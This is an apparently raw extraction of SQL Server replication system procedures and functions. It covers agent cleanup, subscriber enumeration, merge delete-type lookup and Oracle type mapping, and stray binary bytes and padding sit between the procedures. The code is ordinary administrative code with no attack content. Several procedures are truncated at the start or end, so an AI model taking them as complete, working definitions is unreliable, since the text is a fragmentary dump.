--			Uses EXECUTE AS 'dbo' to get to sa user to make
--			sure the right linked server login mapping is used
--

CREATE PROCEDURE sys.sp_IHexecresultset
(
    @cmd	nvarchar(4000),
    @dbname	sysname = NULL,
    @debug	bit = 0
)
WITH EXECUTE AS 'dbo'
AS
BEGIN
	DECLARE @retcode int

	-- Execute query
	BEGIN TRY
            EXEC @retcode = sys.xp_execresultset N'SELECT cmd FROM #hquery ORDER BY seq', @dbname
	END TRY
	BEGIN CATCH
           SET @retcode = 1
			declare @number int
				,@sev int
				,@state int
				,@msg nvarchar(max)
			select @number = ERROR_NUMBER(), @sev = ERROR_SEVERITY(), @state = ERROR_STATE(), @msg = ERROR_MESSAGE()
			raiserror('Error: %d, Sev: %d, State: %d, Msg: %s', 10, 1, @number, @sev, @state, @msg)
	END CATCH

	RETURN @retcode
END
0dz_ 8create procedure sys.sp_MSrepl_enumfullsubscribers
(
	@publication	sysname,
	@publisher		sysname,
	@publisher_type	sysname
)
AS
BEGIN
    /*
    ** Declarations.
    */

    DECLARE @retcode int

    /*
    ** Security Check
    */
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@ERROR <> 0 or @retcode <> 0
        return(1)

    /*
    ** Parameter Check: @publication.
    ** Check to make sure that the publication exists and that it conforms
    ** to the rules for identifiers.
    */

    IF @publication IS NOT NULL
	BEGIN
		IF @publication <> '%'
		BEGIN
			EXECUTE @retcode = sys.sp_validname @publication

			IF @retcode <> 0
				RETURN (1)
		END

		IF NOT EXISTS
		(
			SELECT	*
			FROM	syspublications
			WHERE	((@publication = N'%') or (name = @publication))
			  AND	pubid IN (SELECT * FROM sys.fn_IHgetpubid(@publication, @publisher, @publisher_type))
		)
		BEGIN
			RAISERROR (20026, 11, -1, @publication)
			RETURN (1)
		END
	END
    ELSE
    BEGIN
        RAISERROR (14043, 16, -1, '@publication', 'sp_MSrepl_enumfullsubscribers')
        RETURN (1)
    END

    /*
    ** Select all subscribers who subscribe to all articles in the desired
    ** publication.
    */

    SELECT	DISTINCT 'subscriber' = ss.srvname
	FROM	syspublications p,
			sysextendedarticlesview s,
			syssubscriptions ss
	WHERE	((@publication = N'%') or (p.name = @publication collate database_default))
	AND		p.pubid = s.pubid
	AND		s.artid = ss.artid
	and (ss.srvname is not null and len(ss.srvname)> 0)
	AND		NOT EXISTS
			(
				SELECT	*
				FROM	sysextendedarticlesview s2
				WHERE	s2.pubid = p.pubid
				AND		NOT EXISTS
				(
					SELECT	*
					FROM	syssubscriptions ss2
					WHERE	s2.artid = ss2.artid
					AND		ss2.srvname = ss.srvname 
					and (ss2.srvname is not null and len(ss2.srvname)> 0)
			)
			)
END
0tji 8--
-- Name:
--      fn_ORAgetbasetype
--
-- Description:
--      Get the ORACLE base type string.
--
-- Inputs:
--      @type == ORACLE data type string
-- 
-- Returns:
--      Type string without scale if this is TIMESTAMP type
--
-- Security:
--      Internal
--
-- Notes:
--		Used for data type mapping help proc
--

CREATE FUNCTION sys.fn_ORAgetbasetype
(
    @type   sysname
)
RETURNS
    nvarchar(1024)
AS
BEGIN
    return CASE WHEN @type LIKE N'TIMESTAMP% WITH LOCAL TIME ZONE' THEN N'TIMESTAMP WITH LOCAL TIME ZONE'
                WHEN @type LIKE N'TIMESTAMP% WITH TIME ZONE' THEN N'TIMESTAMP WITH TIME ZONE'
                WHEN @type LIKE N'TIMESTAMP%' THEN N'TIMESTAMP'
                ELSE @type
           END 
END
0=l{ 38
--
-- Name:
--		fn_MSrepl_ismergepublished
--
-- Description:
--		Function to determine if a database is published for merge.
--
-- Returns:
--		0 == FALSE
--		1 == TRUE
--
-- Security:
--		public
-- Requires Certificate signature for catalog access
--
-- Notes:
--		Includes logic to determine if a db is being published
--
CREATE FUNCTION sys.fn_MSrepl_ismergepublished
(
    @db_name sysname
)
RETURNS BIT
AS
BEGIN
    -- Check if this database is a publisher
    return case when exists (SELECT name
                                    FROM master.sys.sysdatabases
                                    WHERE category & 4 = 4
                                    AND name = @db_name collate database_default) 
                    then 1 else 0 end
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'
'`<c2Q0: ;8CREATE PROCEDURE sys.sp_MSdrop_distribution_agent 
(
    @publisher_id smallint,
    @publisher_db sysname,
    @publication sysname,
    @subscriber_id smallint,
    @subscriber_db sysname,
    @subscription_type int,
    @keep_for_last_run bit = 0,
    @job_only bit = 0
) 
AS
BEGIN

    SET NOCOUNT ON

    /*
    ** Declarations.
    */
    DECLARE @stopcode       int
            ,@retcode        int
            ,@job_id         binary(16)
            ,@job_step_uid	 uniqueidentifier
            ,@is_continuous  bit
            ,@local_job      bit
            ,@publisher      sysname
            ,@schedule_name  sysname
            ,@job_command    nvarchar(512)
            ,@name           nvarchar(100)
            ,@agent_id       int
            ,@queue_id      sysname
            ,@qservicestatus int
            ,@qservername   nvarchar(255)
            ,@subscriber    sysname

    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
            
    select @stopcode = 1
            ,@qservername = queue_server
            ,@job_id = job_id, @local_job = local_job, @name = name, @agent_id = id,
            @job_step_uid = job_step_uid,
            @queue_id = queue_id
    FROM MSdistribution_agents WHERE
        publisher_id = @publisher_id AND
        publisher_db = @publisher_db AND
        publication = @publication and
        subscriber_id = @subscriber_id and
        subscriber_db = @subscriber_db and
        subscription_type = @subscription_type
    
    -- Delete Perfmon instance
    dbcc deleteinstance ("SQL Replication Distribution", @name)

    select @publisher = srvname from master.dbo.sysservers where srvid = @publisher_id

    select @subscriber = srvname from master..sysservers where srvid = @subscriber_id
    -- Return if not exists
    IF @local_job IS NULL
        RETURN(0)

    BEGIN TRAN

    if @queue_id is not null
    	and @queue_id != N'mssqlqueue'
    	and @job_only = 0
    begin
        --
        -- MQ specific processing
        --          
        exec @retcode = sys.sp_MSdropmqforsubscription @qservername, @queue_id
        IF @retcode != 0
            GOTO UNDO
    end

    IF @local_job = 1 and @keep_for_last_run = 0
    BEGIN
        IF EXISTS (SELECT * FROM msdb.dbo.sysjobs_view WHERE job_id = @job_id)
        BEGIN
            -- Checks if the job name matches one that is generated 
            -- by replication
            EXEC @retcode = sys.sp_MSisdistributionjobnamegenerated
                                @publisher = @publisher,
                                @publisher_db = @publisher_db,
                                @publication = @publication,
                                @subscriber = @subscriber,
                                @job_id = @job_id
            IF @@ERROR <> 0
                GOTO UNDO
            
            -- Only drop the job if the name was generated
            IF @retcode = 0
            BEGIN
                EXEC @retcode = sys.sp_MSdrop_repl_job @job_id = @job_id,
														@job_step_uid = @job_step_uid
                IF @@ERROR <> 0 or @retcode <> 0
                    GOTO UNDO
            END
        END
    END

    IF @local_job = 1 and @keep_for_last_run = 1
    BEGIN
            select @job_command=command from msdb.dbo.sysjobsteps where job_id=@job_id and step_id=2

            if PATINDEX('%-[Cc][Oo][Nn][Tt][Ii][Nn][Uu][Oo][Uu][Ss]%', @job_command) > 0
                begin
                    select @is_continuous = 1
                    create table #sqlstatus(status nvarchar(20))
                    insert into #sqlstatus (status) exec master.dbo.xp_servicecontrol 'QUERYSTATE', 'SQLServerAgent'
                    if exists (select * from #sqlstatus where status='Running.') 
                            exec @stopcode = msdb.dbo.sp_stop_job @job_id = @job_id
                                 if @@ERROR<>0 GOTO UNDO
                    drop table #sqlstatus   
                    if @stopcode=0 
                        waitfor delay '00:00:30'
                end
            
            EXEC @retcode = msdb.dbo.sp_update_job @job_id=@job_id, @delete_level=3 -- NOTE: Run once, success or failure!
            IF @@ERROR <> 0 or @retcode <> 0
                GOTO UNDO
        
            EXEC @retcode = msdb.dbo.sp_delete_jobstep @job_id=@job_id, @step_id=3
            IF @@ERROR <> 0 or @retcode <> 0
                GOTO UNDO
            EXEC @retcode = msdb.dbo.sp_delete_jobstep @job_id=@job_id, @step_id=1
            IF @@ERROR <> 0 or @retcode <> 0
                GOTO UNDO

            select @job_command=command from msdb.dbo.sysjobsteps where job_id=@job_id and step_id=1        
            select @job_command = @job_command + ' -UnSubscribe 0 '  -- currently the value does not really matter
            
            EXEC @retcode = msdb.dbo.sp_update_jobstep @job_id=@job_id, @step_id=1, 
                                @on_success_action=1, 
                                @on_fail_action=2, 
                                @command=@job_command
            IF @@ERROR <> 0 or @retcode <> 0
                GOTO UNDO

            
            select @schedule_name = formatmessage(20532)
            EXEC @retcode = msdb.dbo.sp_update_jobschedule @job_id=@job_id, @name=@schedule_name, @freq_subday_type = 2, @freq_subday_interval=30
            IF @@ERROR<>0 or @retcode<>0
                GOTO UNDO
            
            if (@is_continuous  = 1) and (@stopcode = 0)
                begin
                    EXEC @retcode = msdb.dbo.sp_start_job @job_id=@job_id
                     if @@ERROR<>0 
                        GOTO UNDO
                end
            /*
            ** The last run of this job will be as scheduled
            */
    END

   -- In case this was a PeerToPeer agent, delete all the cached PeerToPeer info
    DELETE FROM MScached_peer_lsns WHERE agent_id=@agent_id
   	IF @@ERROR <> 0 
        GOTO UNDO

    IF @job_only = 0
    BEGIN
	    -- Remove agent entry
	    DELETE MSdistribution_agents WHERE id = @agent_id
	    IF @@ERROR <> 0 
	        GOTO UNDO
	END
	
    -- Remove associated history 
    DELETE MSdistribution_history WHERE agent_id = @agent_id
    IF @@ERROR <> 0 
        GOTO UNDO
    
    COMMIT TRAN

    RETURN(0)

UNDO:
    if @@TRANCOUNT = 1
        ROLLBACK TRAN
    else
        COMMIT TRAN
    return(1)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!`$
<$O1pr0R@ 8
create procedure sys.sp_MSgetreplnick
    @server         sysname = NULL,
    @db_name        sysname = NULL,
    @pubid          uniqueidentifier  = NULL,
    @replnick       binary(6) output
as
    if @db_name IS NULL
        select @db_name = db_name()

    if @server is NULL
		select @server = publishingservername()
	
	-- If @server is still NULL after call to publishingservername(),
	-- set to @@servername
	if @server is NULL
		select @server = @@servername
	    	
    set @replnick= null
    
    if (@pubid IS NOT NULL)
    begin
        set @replnick = (select top 1 replnickname from dbo.sysmergesubscriptions 
            where UPPER(subscriber_server) collate database_default = UPPER(@server) collate database_default 
                    and db_name = @db_name and pubid = @pubid)
    end
    else
    begin
        set @replnick = (select top 1 replnickname from dbo.sysmergesubscriptions 
            where UPPER(subscriber_server) collate database_default = UPPER(@server) collate database_default 
                    and db_name = @db_name and status <> 7) -- REPLICA_STATUS_BeforeRestore
    end

0в 8create procedure sys.sp_MSdrop_synctran_objects
as
begin
    --
    -- Important Note:
    --  There is no error handling in this proc as it is considered
    --   part of a best effort cleanup.
    --
    declare @object_name sysname
            ,@sync_ins_proc_id int
            ,@sync_upd_proc_id int
            ,@sync_del_proc_id int
            ,@conflict_tableid  int
            ,@sync_upd_trig_id int
            ,@ins_conflict_proc int
            ,@sync_objid int
            ,@filter_id int
            ,@filter_name nvarchar(517)
            ,@type tinyint
            ,@objid int


    begin tran tr_sp_MSdrop_synctran_objects
    save tran tr_sp_MSdrop_synctran_objects

    -- 
    --  Publisher side cleanup
    --
    if object_id('dbo.sysarticleupdates') is not null
    begin
        declare #articleupdates cursor local fast_forward for
            select sync_ins_proc, sync_upd_proc, sync_del_proc, sync_upd_trig, conflict_tableid, ins_conflict_proc
                from sysarticleupdates 
    
        open #articleupdates

        fetch #articleupdates into @sync_ins_proc_id, @sync_upd_proc_id, @sync_del_proc_id, @sync_upd_trig_id, @conflict_tableid, @ins_conflict_proc

        while (@@fetch_status <> -1)
        begin
            if @sync_ins_proc_id is not null
                exec sys.sp_MSdrop_object @object_id = @sync_ins_proc_id

            if @sync_upd_proc_id is not null
                exec sys.sp_MSdrop_object @object_id = @sync_upd_proc_id

            if @sync_del_proc_id is not null
                exec sys.sp_MSdrop_object @object_id = @sync_del_proc_id

            if @sync_upd_trig_id is not null
                exec sys.sp_MSdrop_object @object_id = @sync_upd_trig_id

            if @conflict_tableid is not null
                exec sys.sp_MSdrop_object @object_id = @conflict_tableid

            if @ins_conflict_proc is not null
                exec sys.sp_MSdrop_object @object_id = @ins_conflict_proc

            fetch #articleupdates into @sync_ins_proc_id, @sync_upd_proc_id, @sync_del_proc_id, @sync_upd_trig_id, @conflict_tableid, @ins_conflict_proc
        end

        close #articleupdates
        deallocate #articleupdates
    end
    

    --
    -- Cleanup sync views
    --
    if object_id('dbo.sysarticles') is not null
    begin
        declare #sysarticles cursor local fast_forward for
            select type,objid,sync_objid,filter from sysextendedarticlesview where
                type & 7 > 0

        open #sysarticles

        fetch #sysarticles into @type, @objid, @sync_objid, @filter_id

        while @@fetch_status <> -1
        begin
            --
            -- Drop article view for logbased non-manual view
            --  
            if (@type & 5) = 1 and @sync_objid is not null
                exec sys.sp_MSdrop_object @object_id = @sync_objid

            --
            -- Drop article filter if logbased non-manualfilter
            --
            if (@type & 3) = 1 and @filter_id is not null and @filter_id <> 0
                exec sys.sp_MSdrop_object @object_id = @filter_id

            --
            -- Clear dependency for manual filter
            --  We do not want to drop it
            --
            if (@type & 3) = 3 
            begin
                if @filter_id is not null and @filter_id <> 0
                begin
                    exec sys.sp_MSget_qualified_name @filter_id, @filter_name OUTPUT
                    
                    if @filter_name is not null
                        EXEC sys.sp_MSsetfilterparent @filter_name, 0
                end
            end
            
            fetch #sysarticles into @type, @objid, @sync_objid, @filter_id
        end

        close #sysarticles
        deallocate #sysarticles
    end

    commit tran tr_sp_MSdrop_synctran_objects
    return(0)
end
0ϲ 8
-- Requires Certificate signature for catalog access
create procedure sys.sp_MSgetfilteringcolumns @pubid uniqueidentifier, @nickname int
as
	declare @objid int
	
	select @objid = objid from dbo.sysmergearticles where pubid = @pubid and nickname = @nickname
	
	select sc.name from sys.columns as sc where sc.object_id = @objid
		and exists (select * from dbo.sysmergearticles as sma
					where sma.pubid = @pubid 
					and sma.nickname = @nickname
					and sys.fn_MSisfilteredcolumn(sma.subset_filterclause, sc.name, @objid) = 1)
					
	
	UNION
	
	select sc.name from sys.columns as sc where sc.object_id = @objid
		and exists (select * from dbo.sysmergesubsetfilters as smsf
					where smsf.pubid = @pubid 
					and smsf.art_nickname = @nickname
					and (smsf.filter_type & 1) = 1
					and sys.fn_MSisfilteredcolumn(smsf.join_filterclause, sc.name, @objid) = 1 )
	
	UNION
	
	select sc.name from sys.columns as sc where sc.object_id = @objid
		and exists (select * from dbo.sysmergesubsetfilters as smsf
					where smsf.pubid = @pubid 
					and smsf.join_nickname = @nickname
					and (smsf.filter_type & 1) = 1
					and sys.fn_MSisfilteredcolumn(smsf.join_filterclause, sc.name, @objid) = 1) 
	
	return 0
0S D8?9h.
j5/
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!`<egHM2c0jG 8create procedure sys.sp_MSdrop_qreader_agent 
(
    @agent_id int = NULL
) AS
BEGIN
    SET NOCOUNT ON
    --
    -- Declarations.
    --
    DECLARE @retcode        int
    DECLARE @job_id         binary(16)
    DECLARE @job_step_uid	uniqueidentifier
    DECLARE @name           nvarchar(100)
    DECLARE @database       sysname
    
    select @database = db_name()

	IF @agent_id is NULL
	BEGIN
		SELECT TOP 1 @agent_id = id
			FROM MSqreader_agents
	END

    -- get the agent and job ids
    SELECT @job_id = job_id, @name = name, @job_step_uid = job_step_uid
    FROM MSqreader_agents 
    WHERE id = @agent_id        

    if (@agent_id is NULL)
        return (0)
                    
    -- Delete Perfmon instance
    dbcc deleteinstance ('SQL Replication QueueReader', @name)

    BEGIN TRAN sp_MSdrop_qreader_agent

    -- delete job for the agent
    IF EXISTS (SELECT * FROM msdb.dbo.sysjobs_view WHERE job_id = @job_id)
    BEGIN
        -- Checks if the job name was generated
        EXEC @retcode = sys.sp_MSisqueuereaderjobnamegenerated
                            @job_id = @job_id

        IF @@ERROR != 0 
            GOTO UNDO

        -- Only drop the job if the name was generated
        IF @retcode = 0
        BEGIN
            EXEC @retcode = sys.sp_MSdrop_repl_job @job_id = @job_id,
            										@job_step_uid =  @job_step_uid
            IF (@@ERROR != 0 or @retcode != 0)
                GOTO UNDO
        END
    END

    -- Remove agent entry
    DELETE MSqreader_agents WHERE id = @agent_id        
    IF (@@ERROR != 0)
        GOTO UNDO

    -- Remove associated history 
    DELETE MSqreader_history 
    WHERE agent_id = @agent_id 
    IF (@@ERROR != 0)
        GOTO UNDO

    COMMIT TRAN sp_MSdrop_qreader_agent
    RETURN(0)

UNDO:
    ROLLBACK TRAN sp_MSdrop_qreader_agent
    return(1)
END
0H@ 8
create procedure sys.sp_getmergedeletetype(
	@source_object	nvarchar (386),
	@rowguid		uniqueidentifier,
	@delete_type	int OUTPUT
)
as
	declare @object			sysname	 
	declare @owner			sysname	 
	declare @tablenick		int
	declare @retcode		int

	-- Security check: dbo and sysadmin only
	exec @retcode = sys.sp_MSreplcheck_publish
	if @@error <> 0 or @retcode <> 0
	begin
		return 1
	end	   
	
	select @object = PARSENAME(@source_object, 1)
	select @owner = PARSENAME(@source_object, 2)
	execute sys.sp_MStablenickname @owner, @object, @tablenick output
	if @tablenick IS NULL OR @@ERROR<>0
		BEGIN
			raiserror (20003, 11, -1, @object)
			RETURN (1)
		END

	if @rowguid IS NULL 
		begin
			raiserror (14027, 11, -1, '@rowguid')
			return (1)
		end
		
	select @delete_type = type from dbo.MSmerge_tombstone where rowguid = @rowguid and tablenick = @tablenick
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<H%ab0@ V8
create procedure sys.sp_dropsubscriber
(
	@subscriber			sysname,
	@reserved			nvarchar(50) = NULL,
	@ignore_distributor	bit = 0,
	@publisher			sysname = NULL
)
AS
BEGIN
	DECLARE @cmd		nvarchar(4000)
	DECLARE @retcode	int

	SET @retcode = 0
	
	-- Security Check: require sysadmin
	IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
	BEGIN
		RAISERROR(21089,16,-1) 
		RETURN (1)
	END
	
	EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher		= @publisher,
													@rpcheader		= @cmd OUTPUT
	
	IF @retcode <> 0
		RETURN (@retcode)

	-- Add sp
	SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT
	set @cmd = @cmd + N'sys.sp_MSrepl_dropsubscriber'

	EXEC @retcode = @cmd
					@subscriber,
					@reserved,
					@ignore_distributor,
					@publisher

	RETURN (@retcode)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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       sysname,
    @publication        sysname,
    @subscriber         sysname,
    @subscriber_db      sysname,
    @keep_for_last_run  bit = 0, -- if the agent needs to stay to run one more time; default is NO
    @job_only			bit = 0
) 
AS
begin

    SET NOCOUNT ON

    /*
    ** Declarations.
    */
    DECLARE @retcode    int
    DECLARE @job_id     binary(16)
    DECLARE @job_step_uid uniqueidentifier
    DECLARE @local_job  bit
    DECLARE @publisher_id smallint
    DECLARE @job_command nvarchar(512)
    DECLARE @name nvarchar(100)
    DECLARE @agent_id   int

    -- Security Check: require sysadmin
    IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
    BEGIN
        RAISERROR(21089,16,-1) 
        RETURN 1
    END

    IF (sys.fn_MSrepl_isdistdb (DB_NAME()) != 1)
    BEGIN
        -- "sp_MSdrop_merge_agent can only be executed in the distribution database."
        RAISERROR(21482, 16, -1, 'sp_MSdrop_merge_agent', 'distribution')
        RETURN 1
    END
    /*
    ** Initializations
    */
    -- Get subscriber info
    select @publisher_id = srvid from master.dbo.sysservers where UPPER(srvname) = UPPER(@publisher)


    SELECT @job_id = job_id, @job_step_uid = job_step_uid, @local_job = local_job, @name = name, @agent_id = id FROM dbo.MSmerge_agents with (updlock holdlock) 
    WHERE
        publisher_id = @publisher_id AND
        publisher_db = @publisher_db AND
        publication = @publication and
        UPPER(subscriber_name) = UPPER(@subscriber) and
        subscriber_db = @subscriber_db 

    -- Delete Perfmon instance
    dbcc deleteinstance ("SQL Replication Merge", @name)

    BEGIN TRAN

    -- If the job does not exist, still go ahead and cleanup the MSmerge_agent entry and associated errors, session info, article stats
    IF @local_job IS NULL
        goto NONJOBCLEANUP


    IF @keep_for_last_run = 0
    BEGIN
        if @local_job=1
        begin
            IF EXISTS (SELECT * FROM msdb.dbo.sysjobs_view WHERE job_id = @job_id)
            begin
                -- Checks if the job name matches one that is generated
                -- by replication
                EXEC @retcode = sys.sp_MSismergejobnamegenerated
                                    @publisher = @publisher,
                                    @publisher_db = @publisher_db,
                                    @publication = @publication,
                                    @subscriber = @subscriber,
                                    @job_id = @job_id
                IF @@ERROR <> 0
                    GOTO UNDO
                
                -- Only drop the job if the name was generated
                IF @retcode = 0
                BEGIN
                    EXEC @retcode = sys.sp_MSdrop_repl_job @job_id = @job_id,
                    										@job_step_uid = @job_step_uid
                    IF @@ERROR <> 0 or @retcode <> 0
                        GOTO UNDO
                END
            end
        end
    END

    IF @local_job = 1 and @keep_for_last_run = 1
    BEGIN
        IF EXISTS (SELECT * FROM msdb.dbo.sysjobs_view WHERE job_id = @job_id)
        BEGIN
            EXEC @retcode = msdb.dbo.sp_update_job @job_id=@job_id, @delete_level=3 -- NOTE: Only once, success or failure!
            IF @@ERROR <> 0 or @retcode <> 0
                GOTO UNDO
            EXEC @retcode = msdb.dbo.sp_delete_jobstep @job_id=@job_id, @step_id=3
            IF @@ERROR <> 0 or @retcode <> 0
                GOTO UNDO
            EXEC @retcode = msdb.dbo.sp_delete_jobstep @job_id=@job_id, @step_id=1
            IF @@ERROR <> 0 or @retcode <> 0
                GOTO UNDO

            select @job_command=command from msdb.dbo.sysjobsteps where job_id=@job_id and step_id=1        
            select @job_command = @job_command + ' -AgentType 4 '
            
            EXEC @retcode = msdb.dbo.sp_update_jobstep @job_id=@job_id, @step_id=1, 
                @on_success_action = 1,
                @on_fail_action = 2,
                @command=@job_command
            IF @@ERROR <> 0 or @retcode <> 0
                GOTO UNDO
        END
    END

NONJOBCLEANUP:
	-- we need to clean up added article history before session table
	delete dbo.MSmerge_articlehistory
		from dbo.MSmerge_articlehistory arthist join dbo.MSmerge_sessions sess
		on arthist.session_id=sess.session_id
		where sess.agent_id=@agent_id
    IF @@ERROR <> 0 
        GOTO UNDO
        
    delete dbo.MSmerge_history
		from dbo.MSmerge_history hist join dbo.MSmerge_sessions sess
		on hist.session_id=sess.session_id
		where sess.agent_id=@agent_id
    IF @@ERROR <> 0 
        GOTO UNDO
		
	delete dbo.MSrepl_errors
		from dbo.MSrepl_errors errs join dbo.MSmerge_sessions sess
		on errs.session_id=sess.session_id
		where sess.agent_id=@agent_id
    IF @@ERROR <> 0 
        GOTO UNDO

    -- delete sessions associated with the agent that is to be deleted
    DELETE dbo.MSmerge_sessions where agent_id = @agent_id
    IF @@ERROR <> 0 
        GOTO UNDO

    IF @job_only = 0
	BEGIN
	    DELETE dbo.MSmerge_agents WHERE id = @agent_id
	    IF @@ERROR <> 0 
	        GOTO UNDO
	END
	
    -- Remove history       
    DELETE dbo.MSmerge_history WHERE agent_id = @agent_id 
    IF @@ERROR <> 0 
        GOTO UNDO

    COMMIT TRAN

    RETURN(0)

UNDO:
    if @@TRANCOUNT = 1
        ROLLBACK TRAN
    else
        COMMIT TRAN
    return(1)
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!